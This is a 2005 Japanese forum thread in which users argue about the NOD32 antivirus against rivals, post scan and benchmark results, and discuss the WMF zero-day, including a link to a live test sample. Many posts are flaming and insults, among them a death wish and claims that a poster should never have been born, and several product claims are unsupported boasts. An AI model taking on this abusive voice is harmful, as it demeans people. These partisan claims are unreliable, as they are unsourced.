87:名無しさん＠お腹いっぱい。
05/12/27 07:06:19
Z音が寝静まると板全体が静かになるよなｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
88:名無しさん＠お腹いっぱい。
05/12/27 07:37:38
ハゲドウ（ｗ
本当に寝たなら活動再開は10時頃かと。
89:名無しさん＠お腹いっぱい。
05/12/27 07:57:01
甘い。バスタースレで暴れてるっぽい。
90:名無しさん＠お腹いっぱい。
05/12/27 08:19:29
いや、バスタスレも沈静化してるｗ
今ここでバスタの名が出たから今日もバスタスレは荒れるだろうなｗ
91:名無しさん＠お腹いっぱい。
05/12/27 08:49:57
1.1340 (20051226)
92:名無しさん＠お腹いっぱい。
05/12/27 10:22:37
これ４ヶ月前につかったよ体験版だけど結構いいんでない？
今他ソフト買ってしまいましたが・・・
なんだっけ？アーモン？イーモン？デーモン？とかあったの覚えてる
93:名無しさん＠お腹いっぱい。
05/12/27 11:49:00
アークデーモンみたいだな
94:名無しさん＠お腹いっぱい。
05/12/27 15:35:44
AntiVir 6.33.0.70 12.26.2005 no virus found
Avast 4.6.695.0 12.24.2005 no virus found
AVG 718 12.23.2005 no virus found
Avira 6.33.0.70 12.26.2005 no virus found
ClamAV devel-20051108 12.26.2005 no virus found
DrWeb 4.33 12.26.2005 no virus found
eTrust-Iris 7.1.194.0 12.26.2005 no virus found
eTrust-Vet 12.4.1.0 12.25.2005 no virus found
F-Prot 3.16c 12.26.2005 no virus found
Ikarus 0.2.59.0 12.23.2005 no virus found
Kaspersky 4.0.2.24 12.27.2005 no virus found
NOD32v2 1.1340 12.26.2005 Win32/Bagle.EF
Norman 5.70.10 12.26.2005 no virus found
Panda 8.02.00 12.26.2005 no virus found
Sophos 4.01.0 12.26.2005 no virus found
TheHacker 5.9.1.061 12.25.2005 no virus found
さすがNOD32だね。
95:名無しさん＠お腹いっぱい。
05/12/27 17:22:57
うさんくさーい
96:名無しさん＠お腹いっぱい。
05/12/27 17:25:28
NODにFWがつけば、最強のような気がしてきたが、FWはどうして付属しないの？
97:名無しさん＠お腹いっぱい。
05/12/27 17:36:24
>>96
FWでメッキが剥がれてNOD最強伝説が終わるから
98:名無しさん＠お腹いっぱい。
05/12/27 17:38:13
>>96
付属してたら逆に扱い辛いからだよ。
統合型のアンチウィルスに搭載されているPFWの全てが、市販されているPFWより性能が大きく劣る。
そんな中途半端なPFWを付属で付けても邪魔でしかない。
必要なら本格的なPFWを別途購入するのが基本だよ。
99:名無しさん＠お腹いっぱい。
05/12/27 17:44:11
>>97
アンチウイルスの時点で既に剥がれまくってるような・・・・
このスレで持ち上げられてるだけで世間じゃ全然認知されてないし
100:名無しさん＠お腹いっぱい。
05/12/27 17:48:56
このスレだけでなく、信頼性の高いサイトや専門家集団の全てがNOD32を最高のアンチウィルスだと評価しているのだが・・・
文句や疑問を言っているのは素人や無知で信頼の乏しいサイトだけ。
101:名無しさん＠お腹いっぱい。
05/12/27 17:55:26
>>99
事実であっても本拠地では言わないのがお約束ｗ
自称上級者にはNODが最高なんだからねｗ
102:名無しさん＠お腹いっぱい。
05/12/27 17:59:28
>>101
そうでした
ここは脳内セキュリティのプロが棲息するスレでしたねｗｗｗｗｗｗ
103:名無しさん＠お腹いっぱい。
05/12/27 18:01:28
非常に軽くなったと噂されているKAV6.0との比較結果をみつけた。
NOD32の軽さは凄い。
> ｽﾚﾘﾝｸ(sec板:676番)
676 名前：484 投稿日：2005/12/21(水) 00:13:42
ふー、KAV6.0ベータの簡易テスト終了。
KAV6.0ベータは、噂どおりに軽い。
PFWの機能が付加されており、統合型のアンチウィルスソフトへと進化している模様。
使用感としてはNOD32と体感で殆ど同じ、これはテスト機の性能にもよるかな？
体感で殆ど変化がなかったので、system32フォルダ内をエクスプローラで移動することによるポインティングを行い、
ProcessExplorerでCPU使用率の変化と常駐監視プロセスが消費したCPU時間を計測してみた。
KAV6.0ベータはNOD32やK5が入っているとインストできない為、全てのセキュリティソフトをアンインストールし、
個別にインストールしてテストしました。
結果
KAV6.0 常駐プロセス=avp.exe CPU使用時間 1分03秒843ミリ秒 占有メモリサイズ 19,768K 仮想サイズ 113,476K
NOD32 v2.50.42 常駐プロセス=nod32krn.exe CPU使用時間 24秒515ミリ秒 占有メモリサイズ 15,236K 仮想サイズ 75,388K
一応、スペックの上ではAMONに軍配が上がったが、体感差は殆どない状況でした。
テスト機
CPU P4-2.8C メモリ 512*2(3200) HT-ON
OS WindowsXP Pro(SP2)
104:名無しさん＠お腹いっぱい。
05/12/27 18:04:16
>>101-102
あはは、さすがに自演みえみえ。
必死に貶すも、根拠のない吹聴でしかないのが悲しいね。
信頼性の高いサイトや専門家が集まるフォーラムでNOD32の酷評を紹介してみw
105:名無しさん＠お腹いっぱい。
05/12/27 18:07:01
2005/10 Virus Bulletin誌の試験結果
------------------------------------------------------------------------------------
アンチウィルスメーカー exeファイル OLEファイル exe(zip) OLE(zip) 検知性能(総合)
------------------------------------------------------------------------------------
Ｅｓｅｔ ２７秒（ １倍） ３秒 ２３秒 ５秒 完璧でした
Ｆ－Ｓｅｃｕｒｅ. １２４秒（ ４倍） １８秒 ７８秒 ２１秒 ミス=３
Ｋａｓｐｅｒｓｋｙ. １１６秒（ ３倍） １４秒 ６２秒 １６秒 ミス=２
ＢｉｔＤｅｆｅｎｄｅｒ ４６０秒（１７倍） １１秒 １８９秒 １６秒 ミス=５６
Ｓｙｍａｎｔｅｃ. １４７秒（ ５倍） １６秒 ７２秒 １４秒 完璧でした
ＴｒｅｎｄＭｉｃｒｏ. ６３秒（ ２倍） ７秒 ３３秒 １１秒 ミス=２２１
ＭｃＡｆｅｅ ９８秒（ ３倍） １２秒 ７０秒 １７秒 完璧でした
Ａｖａｓｔ！ １２３秒（ ４倍） ２０秒 ３２秒 １７秒 ミス=１４５
------------------------------------------------------------------------------------
AV-Comparativesの試験結果
> URLﾘﾝｸ(www.av-comparatives.org)
106:名無しさん＠お腹いっぱい。
05/12/27 18:08:10
> シマンティックのオンラインスキャンを行うと、LoveLetterとUnix.Penguin が何個か見つかったんですが
それ誤検知。
107:名無しさん＠お腹いっぱい。
05/12/27 18:17:49
>>103
お前は文盲か？
108:名無しさん＠お腹いっぱい。
05/12/27 18:19:47
>>104
自演に見えるのはお前自身が自演を繰り返してるから
つーかお前ここに書き込む時は節穴するんじゃなかったっけ？
109:名無しさん＠お腹いっぱい。
05/12/27 18:23:57
>>104
商売ってさ、専門家相手にしてるんじゃないんだよ？
素人相手にしてるんだからさ、そっちからの評判が悪いって事は駄目だってことなんだよ
110:名無しさん＠お腹いっぱい。
05/12/27 18:27:30
> 自演に見えるのはお前自身が自演を繰り返してるから
根拠を必死に探そうとしても吹聴なのだから根拠を見つけられない。
そんな吹聴に同意するのは自演しかない。
> つーかお前ここに書き込む時は節穴するんじゃなかったっけ？
なんの話か分かりません。
匿名掲示板で節穴を要求してるのか？
111:名無しさん＠お腹いっぱい。
05/12/27 18:29:52
> 商売ってさ、専門家相手にしてるんじゃないんだよ？
> 素人相手にしてるんだからさ、そっちからの評判が悪いって事は駄目だってことなんだよ
販売量はまた別の話だろ？
性能と直結するわけじゃないし、ターゲット層の違いもある。
NOD32のターゲット層とシマンテックのターゲット層は違うだろ？
112:名無しさん＠お腹いっぱい。
05/12/27 18:47:47
>NOD32のターゲット層とシマンテックのターゲット層は違うだろ？
kwsk
113:名無しさん＠お腹いっぱい。
05/12/27 21:30:39
体験版の起源がきれそうなんで、更新したいんですが、
URLﾘﾝｸ(canon-sol.jp)
の指示にしたがえばいいんでしょうか？
体験版ユーザーは別の方法になるのでしょうか？
おしえてください
114:名無しさん＠お腹いっぱい。
05/12/27 21:37:16
>>113
自信をもってください
115:名無しさん＠お腹いっぱい。
05/12/27 21:41:42
>>113
気合です
116:113
05/12/27 21:43:49
ありがとうございます。登録にあたってシリアル番号が必要らしいのですが
体験版だと思って以前の案内通知メールは削除してしまったのですが、
アプリからシリアル確認すること可能でしょうか？
117:名無しさん＠お腹いっぱい。
05/12/27 21:57:06
>>113
体験版だと下記の購入からな。
> URLﾘﾝｸ(canon-sol.jp)
118:名無しさん＠お腹いっぱい。
05/12/27 22:06:22
カスペは１１０以上の賞を受賞してるみたいですが
ＮＯＤはいくつくらい受賞されてるんでしょうか？
多い方買おうと思います。
119:名無しさん＠お腹いっぱい。
05/12/27 22:09:55
NODは500くらいかな。
120:名無しさん＠お腹いっぱい。
05/12/27 22:11:02
>>118
カスペのほうが多いです。
カスペも良いアンチウィルスソフトですし、何より素人向けですから使い易い。
私はNOD32がお気に入りですけどね。
121:名無しさん＠お腹いっぱい。
05/12/27 22:12:24
＞＞119
ＮＯＤ32が500？主な受賞歴は？
122:名無しさん＠お腹いっぱい。
05/12/27 22:29:55
何様だキサマ。
自分で調べな！ファッキン！
123:118
05/12/27 23:00:41
>>120
ありがとうございます。
カスペ買うことにします。
124:名無しさん＠お腹いっぱい。
05/12/27 23:19:49
死ね
125:名無しさん＠お腹いっぱい。
05/12/27 23:35:14
>>124
脅迫ですか？
只今警察にメールにて連絡いたしました。
126:名無しさん＠お腹いっぱい。
05/12/28 00:16:23
>>110
【軽快動作】NOD32【アンチウイルスソフト】
ｽﾚﾘﾝｸ(sec板)
482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp 投稿日：2005/04/25(月) 10:45:08
緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。
127:名無しさん＠お腹いっぱい。
05/12/28 00:18:41
>>84
ポートを指定できないようなものを豊富な知識を持っている人が愛用するわけがない罠w
128:名無しさん＠お腹いっぱい。
05/12/28 00:49:02
>>123
NODはプロ向けだからね。
素人では使いこなせないよ。
厨にはカスペがちょうど良いんじゃないかな。
129:名無しさん＠お腹いっぱい。
05/12/28 01:04:04
> NODはプロ向けだからね。
> 素人では使いこなせないよ。
いや、デフォルトで使えは良いだけなのだが・・・・
まぁ、苦労と肌な仕様にはなっているが、お前のような程度の低い煽りをする奴にNOD32を語って欲しくはないぞ。
130:名無しさん＠お腹いっぱい。
05/12/28 01:11:06
128が素人に３００万リラ
131:名無しさん＠お腹いっぱい。
05/12/28 01:23:29
>>127
豊富な知識を持っていても設定が簡素であり扱い易いことを気に入って使っている人は結構いる。
知識が貧弱な奴ほど、ポート指定できないから糞みたいな発言が多いのは興味深い。
132:名無しさん＠お腹いっぱい。
05/12/28 01:57:39
131が素人に３００万リラ
133:名無しさん＠お腹いっぱい。
05/12/28 01:59:36
＞豊富な知識を持っていても設定が簡素であり扱い易いことを気に入って使っている人は結構いる。
妄想乙。
君はZAしか使えないんだろw
134:名無しさん＠お腹いっぱい。
05/12/28 02:26:29
クライアントとして使う分には別にポート指定までする必要はないと思うけどな
下手糞なルール組むくらいならZAFreeタイプで十分って意見は間違いではないと思う
ま、俺はNOD厨は嫌いだしZAは使ってないけどな
135:名無しさん＠お腹いっぱい。
05/12/28 02:28:46
＞下手糞なルール組むくらいならZAFreeタイプで十分って意見は間違いではないと思う
そういう低レベルな香具師用だな、ZAは。
136:名無しさん＠お腹いっぱい。
05/12/28 02:29:18
＿
＼ヽ, ,、
`''|/ﾉ
.|
＿ |
＼｀ヽ、|
＼, V
`L,,_
|ヽ､)
.|
/ ,､
/ ヽYﾉ
.| r''ヽ、.|
| `ｰ-ヽ|ヮ
| `|
ヽ, ,r .|
ヽ,r'''ヽ!'-‐'''''ヽ､ﾉ
,,,..---r'",r, , 、`ヽ､ ヾ
ヽ､__/ ./ﾊﾚﾊ i`ヽ、 `''r`ミ_
.ﾚ//r,,,､ ﾚ'ﾚﾊヾ, L,,_ `ヽ、
"ﾚ, l;;;l l;;;l`i.ﾘﾚ' ﾘ￣~~ か
ヽ､ ワ `"／-'`'`' ∨
`''''''''" ┼ヽ -|r‐､. ﾚ |
ｄ⌒) ./| _ﾉ __ﾉ
137:名無しさん＠お腹いっぱい。
05/12/28 03:38:08
NODにもノートンみたいなワーム防止機能がつけばいいのに
138:名無しさん＠お腹いっぱい。
05/12/28 05:38:19
NOD3２スレに住み着いている荒らしが遂に錯乱した？
無知なのに無謀にも専門家が多くレスしているフォーラムに自作自演で殴りこみ。
もちろん、簡単に駆逐されてしまいましたw
2chと違い管理の厳しいサイトでは通じません。
笑えました。
> URLﾘﾝｸ(www.wilderssecurity.com)
139:名無しさん＠お腹いっぱい。
05/12/28 05:42:45
>>138
専門家なんているのか？
大して2chと変わわらんだろ。
レベルが低いのは君みたいな人だけ。
140:名無しさん＠お腹いっぱい。
05/12/28 05:47:57
HappyBytes(ハンドル)はNOD32の開発技師です。
アンチウィルス業界屈指の頭脳です。
141:名無しさん＠お腹いっぱい。
05/12/28 06:03:05
2chとかネットで好き勝手やってる奴ﾜﾛｽｗ
ﾜﾛｽｗ
142:名無しさん＠お腹いっぱい。
05/12/28 06:31:29
Z音が殴りこみにいったのか？
今日は板全体が異様に静かだもんな
明日からまた異様に荒れるのかなｗｗｗｗｗ
143:名無しさん＠お腹いっぱい。
05/12/28 11:45:42
擦り付け恥ずかしいw
144:名無しさん＠お腹いっぱい。
05/12/28 13:11:18
漏れは明日から休みでつよ♪
145:名無しさん＠お腹いっぱい。
05/12/28 13:17:53
Wilders Security Forumsでも結構話題になっているのが誤検出。
例えば、ノートンだと>>81をプラウザから見るだけで誤検出が発生するのだけど、
Kasperskyでも>>81を2chプラウザによってローカルDISKにログとして保存されたものをオンデマンドで
ノートンと同様に誤検出する。
もちろん、マクロやスクリプトウィルスのコードが書かれているわけだから検出されてしまうことも理解できるが
そのままだと単にゴミでしかないわけで明らかに誤検出といえる。
それらの誤検出を検出性能が高いと思ってしまう人が多く、そんなやり取りが上記のフォーラムではよく見られる。
146:名無しさん＠お腹いっぱい。
05/12/28 14:34:57
言い訳ｷﾀｺﾚ
147:名無しさん＠お腹いっぱい。
05/12/28 14:38:57
>>145
ここで言わないで、そこのフォーラムで言えよｗｗｗｗ
で、泣かされて来いｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
148:名無しさん＠お腹いっぱい。
05/12/28 14:48:48
>147が素人に３００万リラ
149:名無しさん＠お腹いっぱい。
05/12/28 16:26:25
プロ仕様のNOD32www
150:名無しさん＠お腹いっぱい。
05/12/28 16:55:15
URLﾘﾝｸ(www.kaspersky.co.jp)
【復旧】パターンファイルの不具合について
今回、特定の時間帯に配信したパターンファイルについて、
一部の条件下でウイルスを検知しないことを確認致しました。
さっそくカスペがやらかしたぞ。
151:名無しさん＠お腹いっぱい。
05/12/28 16:56:14
Eset社の専門家はNOD32に自信を持っています。
まだ、手にしていないサンプルでさえ「おそらくは塵」といえるのが凄いな。
> URLﾘﾝｸ(www.wilderssecurity.com)
#12
> I suggest that you submit those samples to support[at]eset.com with a link to this thread,
> maybe they'll turn out to be non-functional or harmless files. If you find some other suspicious
> files not detected heuristically nor by generic detection, please send them to samples[at]eset.com
152:名無しさん＠お腹いっぱい。
05/12/28 17:45:58
はいはい、凄い凄い
153:名無しさん＠お腹いっぱい。
05/12/28 17:47:56
キヤノンはサポートの対応も非常に良いね。
メールを送れば数時間以内に必ず返信が来るしね。
3週間以上待たせたあげくテンプレしか送ってこない
役立たずのシマンテックのサポートとは大違いw
154:名無しさん＠お腹いっぱい。
05/12/28 17:52:27
>>153
m9(^Д^)ﾌﾟｷﾞｬｰ!
155:名無しさん＠お腹いっぱい。
05/12/28 20:31:44
はいはい、凄い凄い
156:名無しさん＠お腹いっぱい。
05/12/28 21:33:49
>>153
シマンテックは３年前に一度だけサポートにメールしたことあるけどいまだに返事はないよ。
157:名無しさん＠お腹いっぱい。
05/12/28 21:38:50
＊＊新種ウイルスの速報＊＊
Windows XP SP2 に未知の重大な欠陥。
WMF ファイルを読み込むことで、任意のコードが実行されてしまう。
URLﾘﾝｸ(www.st.ryukoku.ac.jp)
＊＊対応済みアンチウイルス（2005/12/28時点）
マカフィー（検出名 Exploit-WMF）
URLﾘﾝｸ(vil.mcafeesecurity.com)
ノートン（検出名 Bloodhound.Exploit.56）
URLﾘﾝｸ(www.symantec.com)
158:名無しさん＠お腹いっぱい。
05/12/28 22:06:28
そりゃ大変だ
159:名無しさん＠お腹いっぱい。
05/12/28 22:06:34
>>157
検証ページで試してきた。みごとに無反応
漏れＩＥ使ってないから再生前に確認ウィンドウでたからあれだけど
ＩＥ使いにとっては極悪か。。。。
さて、いつ対応してくれるかな
160:名無しさん＠お腹いっぱい。
05/12/28 22:10:34
>>159
IEだと一気に読んじゃうのか。そりゃ問題だわ。
161:名無しさん＠お腹いっぱい。
05/12/28 22:46:21
あれｗ
ご自慢のヒューリスティックは効果なしですか？ｗ
しかもシグネチャ配布もノートンに負けてるんですか？ｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
162:名無しさん＠お腹いっぱい。
05/12/28 23:14:28
>>161
ん？
163:名無しさん＠お腹いっぱい。
05/12/28 23:37:04
URLﾘﾝｸ(focus.sakura.ne.jp)
某雑誌にウイルス対策ソフトの３大メーカーということで，シマンテック，
トレンドマイクロ，マカフィーの名前が挙がっていましたが，知名度・市場シェアと
製品の品質とがまったく関係がないことは知る人ぞ知るところです（私も含めて）。
NOD32 は性能がピカイチで優れているので，ウイルス対策のみ必要な方にはイチ押しです
（次バージョンではファイアウオール機能がつく予定）。
164:名無しさん＠お腹いっぱい。
05/12/28 23:47:28
＊＊新種ウイルスの速報！！＊＊
Windows XP SP2 に未知の重大な欠陥が！！
WMF ファイルを読み込むことで、任意のコードが実行されてしまう。
URLﾘﾝｸ(www.st.ryukoku.ac.jp)
＊＊対応済みアンチウイルス（2005/12/28時点）
マカフィー（検出名 Exploit-WMF）
URLﾘﾝｸ(vil.mcafeesecurity.com)
ノートン（検出名 Bloodhound.Exploit.56）
URLﾘﾝｸ(www.symantec.com)
現時点ではNOD32、ｶｽﾍﾟ共に未対応ですた。
165:名無しさん＠お腹いっぱい。
05/12/29 00:00:46
>（次バージョンではファイアウオール機能がつく予定）。
まじ？
166:名無しさん＠お腹いっぱい。
05/12/29 00:04:49
ＦＷついて更新料据え置きならいいんだけどな
あとテキトーなＦＷつける気ならやめてほしいよな
167:名無しさん＠お腹いっぱい。
05/12/29 00:06:46
>>163
それって、ネットワークマガジンの06/02？
168:名無しさん＠お腹いっぱい。
05/12/29 00:12:26
あれ？新種のウイルスをスルーしてるのはスルーですか？ｗｗｗ
169:名無しさん＠お腹いっぱい。
05/12/29 00:18:47
>>168
ちゃんと読んだか？
170:名無しさん＠お腹いっぱい。
05/12/29 00:19:57
検証のだとvirustotalではもう定義1.1342になってって対応してるな
てかBitdefenderとNOD32では検出されてるけど
McAfeeとSymantecで検出されないんだけどｗ
171:名無しさん＠お腹いっぱい。
05/12/29 00:24:40
って書いた5秒後に更新来たｗ
定義1.1342でWin32/TrojanDownloader.Wmfexとして検出されるの確認した。
172:名無しさん＠お腹いっぱい。
05/12/29 00:27:15
更新しているのに検出できないとおもったら、
IMON切ってた・・・
173:名無しさん＠お腹いっぱい。
05/12/29 00:31:02
1.1342 (20051228)
174:名無しさん＠お腹いっぱい。
05/12/29 00:31:42
対応乙
175:名無しさん＠お腹いっぱい。
05/12/29 00:31:49
てかこれ防げるの入れない人は相当やばそうだな、
右クリックしてプロパティ見ようとするだけであぼんする。
176:名無しさん＠お腹いっぱい。
05/12/29 00:32:32
てかこれ防げるの入れない人は相当やばそうだな、
右クリックしてプロパティ見ようとするだけであぼんする。
177:名無しさん＠お腹いっぱい。
05/12/29 00:35:17
>>175-176 もちつけｗ
178:名無しさん＠お腹いっぱい。
05/12/29 00:35:29
あれ、、二重投稿してしまった。
179:名無しさん＠お腹いっぱい。
05/12/29 00:36:59
((；ﾟДﾟ)ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ うｐ立てしておこう・・・
180:名無しさん＠お腹いっぱい。
05/12/29 00:38:09
これはMSがどうにかするでしょ。
181:名無しさん＠お腹いっぱい。
05/12/29 00:40:27
>>180
ＭＳがどうにかするの待てるくらいなら
セキュリティソフトいらないと思われます
182:名無しさん＠お腹いっぱい。
05/12/29 00:48:16
どのくらいでどうにかしてくれるのかが問題だね
画像ファイルだからイタズラでいろいろ張るヤツ現れそうだ
183:名無しさん＠お腹いっぱい。
05/12/29 00:58:13
URLﾘﾝｸ(kikuz0u.x0.com)
これね
184:名無しさん＠お腹いっぱい。
05/12/29 01:00:22
まともな話しているのにアホが一匹混ってるな。
無闇に騒ぎ立てようとして失敗しているのが笑える。
>>161
>>168
>>179
185:名無しさん＠お腹いっぱい。
05/12/29 01:07:36
とりあえず対応してくれてうれしいわぁ^^
186:名無しさん＠お腹いっぱい。
05/12/29 01:11:55
ちがった右クリックだけじゃなかった、、
左クリックだけでも起動される。
拡張子jpgに変えてもなる、、やばすぎ・・
いろいろ試してるうちにAvastも今更新きて対応されたみたい。
187:名無しさん＠お腹いっぱい。
05/12/29 01:14:03
同じコンポーネントが使われているから、関連付けられていると不味いよ。
MSのバグってこんなの多過ぎるよな。
188:名無しさん＠お腹いっぱい。
05/12/29 01:24:28
なんか画像ビューワにIfanView関連付けてるんだけど
それがまずいみたい。txtとかZipにしてみたら起動しなくなった。
189:名無しさん＠お腹いっぱい。
05/12/29 01:37:15
検体をZip圧縮してjottiへUPしておいたから、他のアンチウィルスメーカーも直に対応するだろう。
190:名無しさん＠お腹いっぱい。
05/12/29 01:40:13
乙です
191:名無しさん＠お腹いっぱい。
05/12/29 02:19:48
/つ_∧
/つ_,∧ 〈（ ﾟдﾟ）
|（ ﾟдﾟ） ヽ ⊂ニ)
ヽ__と/￣￣￣/ |
￣＼/＿＿＿/
192:名無しさん＠お腹いっぱい。
05/12/29 02:20:02
やっぱIfanViewの関連付け外してもあまり意味なかった。
他のでも右クリプロパティすると起動するし
選択状態でマウス上にしばらく乗せてるとサイズの表示が出る
ツールチップが表示されるとそれに連動して起動してしまう。
MSが対応して根本的に解決するまでで怪しいファイルとか踏まないほうがよさそう。
193:名無しさん＠お腹いっぱい。
05/12/29 02:24:17
>>168
> あれ？新種のウイルスをスルーしてるのはスルーですか？ｗｗｗ
それウィルスじゃないよ。
MSのコンポーネントに未知の脆弱性があるという話な。
この脆弱性を使ってウィルスも作れるからアンチウィルスメーカー各社が
この脆弱性を使用したコードに対するシグネチャを配布しているということな。
こんなのはヒューリスティックエンジンで検知出来るものじゃない。
もちろん、実際にこの脆弱性を使用したウィルスが出現した場合は、ヒューリスティックエンジンで検知される可能性は大きい。
194:名無しさん＠お腹いっぱい。
05/12/29 02:41:21
>>193
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
195:名無しさん＠お腹いっぱい。
05/12/29 02:48:40
下記は、NOD32スレに昔から住み着いている荒らしなので放置宜しく。
>>161
>>168
>>179
>>194
196:名無しさん＠お腹いっぱい。
05/12/29 02:51:43
>>195
フシアナしないのは何故？
【軽快動作】NOD32【アンチウイルスソフト】
ｽﾚﾘﾝｸ(sec板)
482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp 投稿日：2005/04/25(月) 10:45:08
緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。
197:名無しさん＠お腹いっぱい。
05/12/29 02:58:42
↑フシアナしないのは何故？
198:名無しさん＠お腹いっぱい。
05/12/29 02:59:00
>>195
マッチ＆ポンプ乙。
ぜんぶスレ主の投稿だろ（ｗ
199:198
05/12/29 03:03:28
誤 スレ主
正 レス主
200:名無しさん＠お腹いっぱい。
05/12/29 03:07:47
スレ主であってるじゃん。
201:名無しさん＠お腹いっぱい。
05/12/29 03:08:57
あの節穴宣言はいったいなんだったんだろうね。
その後節穴してるのを見たことがない。
202:名無しさん＠お腹いっぱい。
05/12/29 03:10:23
だってZ音だし
203:名無しさん＠お腹いっぱい。
05/12/29 03:10:29
>>199は偽もん（ｗ
>>200
マッチ＆ポンプ乙。
204:名無しさん＠お腹いっぱい。
05/12/29 03:11:59
>>202
確かにｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
205:名無しさん＠お腹いっぱい。
05/12/29 03:22:57
連休入るとこんな時間でも人いるわｗ
206:公務員も休みでし
05/12/29 03:29:11
これＮＯＤ32いいね
207:名無しさん＠お腹いっぱい。
05/12/29 03:49:57
834 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/29(木) 03:19:06
URLﾘﾝｸ(www.st.ryukoku.ac.jp)
>NOD32 は ウィルス定義ファイル1.1342 (20051228) で
>Win32/TrojanDownloader.Wmfex トロイ として対応されたようです。
>水野さん情報ありがとうございます。
Z音の本名？（；＾ω＾）
208:名無しさん＠お腹いっぱい。
05/12/29 04:04:26
> URLﾘﾝｸ(www.st.ryukoku.ac.jp)
>Trojan programs exploiting the latest Windows vulnerability (Kaspersky)
> URLﾘﾝｸ(www.kaspersky.com)
kasperskyもリリース済みと書かれているが2005/11/29 2:51:01のリリース適用後でも>>183を検知できていないな。
サンプルが違うと微妙に検知されないのかな。
209:名無しさん＠お腹いっぱい。
05/12/29 05:29:11
ﾏﾀｷﾀｺﾚ
1.1343 (20051228)
210:名無しさん＠お腹いっぱい。
05/12/29 12:38:02
またって言うほどの頻度じゃないよなｗｗｗｗ
211:名無しさん＠お腹いっぱい。
05/12/29 12:43:41
なるほど、ここは信者とｱﾝﾁが同居するスレなのか。
ツマンネ
212:名無しさん＠お腹いっぱい。
05/12/29 12:57:55
>>211
じゃあ来るなよ馬鹿
213:名無しさん＠お腹いっぱい。
05/12/29 14:07:19
NODってマンセーされてるのここだけじゃん
後はどこに行っても軒並み評判が悪い
それが現実なんだろうな
特に企業レベルでの評判が悪いね
214:名無しさん＠お腹いっぱい。
05/12/29 14:08:58
昔どっかに書いてあったネットワークプリンタのことぐらいじゃね
他にもあるの？
215:名無しさん＠お腹いっぱい。
05/12/29 14:11:22
え？
ネットワークプリンタの使用にも支障がでるの！？
それは酷いなぁ
216:名無しさん＠お腹いっぱい。
05/12/29 14:13:02
>>215
常駐しててるくせに…
217:名無しさん＠お腹いっぱい。
05/12/29 14:16:19
アンチのひとって心の病気なの？
218:名無しさん＠お腹いっぱい。
05/12/29 14:19:55
相変わらずレスが早いですねｗｗｗｗｗｗｗｗ
219:名無しさん＠お腹いっぱい。
05/12/29 14:22:51
>>217
本来、生まれてきてはいけない子なの。
顔が見えないからって、一般人が満足してるｿﾌﾄにｹﾁ付けて一生が終わる。
誰にも本気で愛されずに。
虫に生まれてりゃ良かったのにな。
金払って買うとさ、ｱｯﾌﾟﾃﾞｰﾄ頻繁にしてくれると嬉しいな。
220:名無しさん＠お腹いっぱい。
05/12/29 14:32:30
>>219
それは他ソフトにも言えることだろうが
だったら
他 ス レ を 荒 ら す の は や め れ ！
221:名無しさん＠お腹いっぱい。
05/12/29 14:38:39
>>220
NOD厨はいつもそうですよね。
自分のことは棚に上げて他人の批判ばかり・・・。
他ソフトはどれだけ非難しても許されてNOD批判は一切NG・・・。
こんなのって変ですよね。
222:名無しさん＠お腹いっぱい。
05/12/29 14:38:52
今度は被害妄想ですか
自分を批判する人はみんな敵なんですね
223:名無しさん＠お腹いっぱい。
05/12/29 14:44:20
>>222
被害妄想もなにも現にこのスレの馬鹿が他スレを荒らしたことがあったろ！
224:名無しさん＠お腹いっぱい。
05/12/29 14:53:42
ﾐｽﾞﾉ
ｱｷﾋﾛ♪
225:名無しさん＠お腹いっぱい。
05/12/29 14:55:50
※トロイ注意※
音声ファイル変換ソフト「Vocal Cancel」が、「トロイの木馬（TROJ_HIROFU.A）」であると確認された。
URLﾘﾝｸ(www.vector.co.jp)
※現時点で対応しているアンチウイルス製品
ウイルスバスター（最速で対応）
URLﾘﾝｸ(www.trendmicro.co.jp)
ノートン（手動アップデートでやっと対応）
URLﾘﾝｸ(www.symantec.com)
・NOD32は未対応。
226:名無しさん＠お腹いっぱい。
05/12/29 14:58:04
>>225はスレ主ｗ
荒し自演乙。(・∀・)ﾆﾔﾆﾔ
227:368 エナメルハイレグフェチ
05/12/29 15:00:40
＞＞712
しかし俺の県庁じゃあんまりかわいいこいねぇな
（少なくとも俺のフロアじゃｗ）
228:名無しさん＠お腹いっぱい。
05/12/29 15:10:34
>>213
まるでおまいの評判のようだなｗ
229:名無しさん＠お腹いっぱい。
05/12/29 15:12:58
>>225=被害者面したくなると、自分で荒しはじめるNOD厨（ｗ
ｽﾚﾘﾝｸ(tubo板:116番)
230:名無しさん＠お腹いっぱい。
05/12/29 15:13:56
>>225
7月のかよw
231:名無しさん＠お腹いっぱい。
05/12/29 15:14:28
NODは本スレで罵り合いストレスを発散し、他スレでNODの有効性について話し合う進化したスレなのだ
232:名無しさん＠お腹いっぱい。
05/12/29 15:16:11
>>230
自分で貼ったものに突っ込み乙、NOD厨ｗ
233:名無しさん＠お腹いっぱい。
05/12/29 15:21:41
> NODってマンセーされてるのここだけじゃん
> 後はどこに行っても軒並み評判が悪い
> それが現実なんだろうな
> 特に企業レベルでの評判が悪いね
あれ？
NOD32の評判が悪い？
嘘だろ、良い評判は幾らでもあるけど、悪い評判はあまり見ないなぁ。
たまに、間違った測定結果を載せてNOD32は評判程の性能ではないとするサイトや雑誌もあるけど
間違いを指摘されて詫びているのが実情だよん。
234:名無しさん＠お腹いっぱい。
05/12/29 15:24:14
>>225
NOD32も対応済みだよw
235:名無しさん＠お腹いっぱい。
05/12/29 15:29:01
>>233の例な
全ての始まりはこの記事。
> URLﾘﾝｸ(files.malwareblog.com)
この記事を書いたライター(本編ではハンドルネーム=IlyaOS)
アンチウィルスソフトの開封性能比較（本編）
> URLﾘﾝｸ(www.wilderssecurity.com)
